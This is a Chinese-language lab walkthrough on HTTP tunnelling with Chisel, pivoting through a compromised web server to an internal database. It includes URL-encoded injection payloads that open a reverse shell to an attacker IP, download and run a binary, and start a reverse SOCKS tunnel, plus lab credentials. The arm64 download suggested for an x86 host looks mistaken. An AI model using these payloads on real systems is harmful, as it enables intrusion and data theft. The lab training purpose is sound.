HTTP Tunneling - Chisel

HTTP Tunneling - Chisel


顧名思義 HTTP Tunneling 就是建立在 HTTP 協定之上,場景如下圖

整個網路環境僅有一台 Web Server 的 8090 可以從外部被存取

然後伺服器出 Internet 僅限定 HTTP Protocol 可以出去




之前我們是使用 SSH Tunnel 回 Kali 讓 Kali 可以直接存取到內網的 DB 伺服器

現在我們要使用的是 HTTP Tunnel 回 Kali,讓 Kali 可以直接存取內網的 DB 伺服器

這裡要用到的工具是 HTTP Tunnel 的神器 Chisel,它除了是一個 HTTP 隧道工具,將資料流封裝在 HTTP 協定中且還在隧道內使用 SSH 協議,因此資料將被加密


現在我們知道 Chisel 的功能了,我們可以製定計劃了。我們將在 Kali 機器上執行 Chisel 伺服器,它將接受來自 CONFLUENCE01 上執行的 Chisel 用戶端的連線。Chisel 將在 Kali 機器上綁定一個 SOCKS 代理連接埠。Chisel 伺服器將封裝我們透過 SOCKS 連接埠傳送的任何內容,並將其透過 HTTP 隧道推送,並進行 SSH 加密。然後 Chisel 用戶端將對其進行解封裝並將其推送到所尋址的任何位置。運行時,它應該類似於下圖:




場經說明

攻擊機 192.168.45.223 也將當作 chise 伺服器

靶機 192.168.203.63 (跳板機 / chise-client)、10.4.203.215 (內網 DB)

已知 DB 帳號密碼 database_admin / sqlpass123


chisel 下載路徑 https://github.com/jpillora/chisel 

安裝方式指令 sudo apt install chisel https://www.kali.org/tools/chisel/




將 chise copy 到現有的 HTTP Server 根目錄,指令 sudo cp $(which chisel) .

預設安裝好的路徑是 /usr/bin/chisel




先在攻擊機 kali 上啟動 chisel 伺服器並 listen 8080 Port

chisel server --port 8080 --reverse




然後在 8080 Port 上進行 tcpdump,sudo tcpdump -nvvvXi tun0 tcp port 8080




一樣的 Web Server 8090 漏洞利用建立反向 shell

curl -v http://192.168.203.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.223/4444%200%3E%261%27%29.start%28%29%22%29%7D/




下載 chisel 到靶機 wget 192.168.45.223/chisel -O /tmp/chisel





切換到 /tmp 目錄,確認已下載,但 ls -la 後發現不可執行





改一下權限 chmod +x chisel,再 ls -la 看一下確認可以執行了




下載檔案與修改權限其實不需要拿到 shell 透過 Web Server 的漏洞就可以一條指令完成如下

curl http://192.168.203.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.45.223/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/

decode 後內容如下圖,可以看到 wget 下載後接 && 執行 chmod +x 指令




從 chisel client 建立連線的指令也可以直接透過 web server 漏洞一條 curl 完成如下

curl http://192.168.203.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.45.223:8080%20R:socks%27%29.start%28%29%22%29%7D/

decode 後如下圖所示





decode 中可以看到下的指令就是 chisel client 192.168.45.223:8080 R:socks

指令 ./chisel client 192.168.45.223:8080 R:socks > /dev/null 2>&1 &

其餘的 shell 重定向 ( > /dev/null 2>&1 & ) 強制進程在背景運行




但查看 chisel 8080 伺服器 TTY 以及剛剛設定的 tcpdump 8080 都沒有看到任何東西

這實際的原因應該是執行 chisel 時出現問題,但我們看不到任何的錯誤訊息

所以可以將 stdout 和 stderr 輸出重定向到文件來進行查看

指令 ./chisel client 192.168.45.223:8080 R:socks &> /tmp/output

然後 cat output 查看內容




Log 內容寫如下可以看到要運行 `GLIBC_2.32'、`GLIBC_2.34' 找不到

./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel)

./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)

我們的 chisel 版本如下 1.8.1-0kali2





簡單講就是這表示 chisel 版本不相容。當工具或元件的版本比其嘗試執行的作業系統更新時,存在作業系統不包含較新工具期望能夠使用的所需技術的風險。在本例中,Chisel 期望使用 glibc 版本 2.32 或 2.34,但在 CONFLUENCE01 上找不到這兩個版本

所以去前面提到的 github 上下載其他版本試試看

https://github.com/jpillora/chisel/releases

這裡我們下載 1.8.1 的版本如下 

https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_arm64.gz





跟之前一樣丟到 Web Server 上,改權限確認可執行





再執行一次看看

./chisel client 192.168.45.223:8080 R:socks

這一次 tcpdump 8080 可以看到了





chisel 伺服器也顯示有連線進來





一樣 ss -ntplu 檢查一下 SOCKS 代理程式的狀態,預設是跑在 1080 Port 上




SSH 不提供通用的 SOCKS 代理命令列選項。相反,它提供 ProxyCommand 配置選項。我們可以將其寫入配置文件,或者使用 -o 將其作為命令行的一部分傳遞,所以改用 NETCAT

先安裝 NETCAT 吧,sudo apt install ncat




將 Ncat 指令傳遞給 ProxyCommand。我們建構的命令告訴 Ncat 使用 socks5 協定和位於127.0.0.1:1080 的代理套接字。%h 和 %p 標記代表 SSH 命令主機和連接埠值,SSH 將在執行命令之前填入這些值

指令 ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.203.215

成功登入了直接拿 flag 吧










練習 2

啟動 VM 群組 2。從 CONFLUENCE01下載/exercises/chisel_exercise_client 。有一個伺服器在 PGDATABASE01 上的連接埠 8008 上運作。使用 Chisel 設定連接埠轉發,讓您可以針對 PGDATABASE01 上的連接埠 8008 執行 chisel_exercise_client。

注意:用於建置 chisel_exercise_client 二進位檔案的來源檔案可以從/exercises/client_source.zip 下載


Kali : 192.168.45.244,靶機 : 192.168.244.63(Web)、10.4.244.215(DB)

一樣先下載 chisel_exercise_client,http://192.168.244.63:8090/exercises/chisel_exercise_client



再下載 client_source.zip,http://192.168.244.63:8090/exercises/client_source.zip




建立一個 1912 資料匣,將檔案解壓縮後放在一起





網站漏洞利用 curl 進去拿 shell

curl -v http://192.168.244.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.244/4444%200%3E%261%27%29.start%28%29%22%29%7D/

下載 chisel,wget 192.168.45.244/chisel -O /tmp/chisel




加執行權限 chmod +x chisel

kali 起 chisel 伺服器 chisel server --port 8080 --reverse

執行 chisel client 連線 ./chisel client 192.168.45.244:8080 R:socks

成功進來了





要使用的程式是 chisel_exercise_client,這個是跑在 proxychains 裡

所以 proxychains 設定檔 socks5 要改 chisel 預設的 1080 Port

└─$ sudo vi /etc/proxychains4.conf

└─$ tail /etc/proxychains4.conf





拿答案吧,指令 proxychains ./chisel_exercise_client -i 10.4.244.215 -p 8008

記得要先 chmod +x chisel_exercise_client





留言